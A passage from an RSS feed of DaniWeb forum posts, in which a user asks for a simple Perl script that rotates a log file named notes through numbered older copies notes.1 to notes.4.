			<guid isPermaLink="true">http://www.daniweb.com/forums/thread213759.html</guid>
		</item>
		<item>
			<title>Logfile rotation sciprt using perl.</title>
			<link>http://www.daniweb.com/forums/thread213409.html</link>
			<pubDate>Sun, 23 Aug 2009 14:18:48 GMT</pubDate>
			<description><![CDATA[I'm trying to find or create a Perl script that: 
Checks for and creates these files: 
 
notes 
notes.1 
notes.2 
notes.3 
notes.4 
 
The first represents the current log file and the others are older versions. Each time the script runs it would check for the existence of notes.3 and, if it exists,...]]></description>
			<content:encoded><![CDATA[<div>I'm trying to find or create a Perl script that:<br />
Checks for and creates these files:<br />
<br />
notes<br />
notes.1<br />
notes.2<br />
notes.3<br />
notes.4<br />
<br />
The first represents the current log file and the others are older versions. Each time the script runs it would check for the existence of notes.3 and, if it exists, move it to notes.4. Then is should check for notes.2 and move it to notes.3 and so on, until notes is moved to notes.1. <br />
<br />
I've looked on the net already, but they're just too complex and try to do too much compared to my requirements.<br />
<br />
Does anyone know of a script that does this, or do you have any code that could be adapted easily?<br />
<br />
Thanks!</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>DemonixXV2</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread213409.html</guid>
		</item>
	</channel>
</rss>
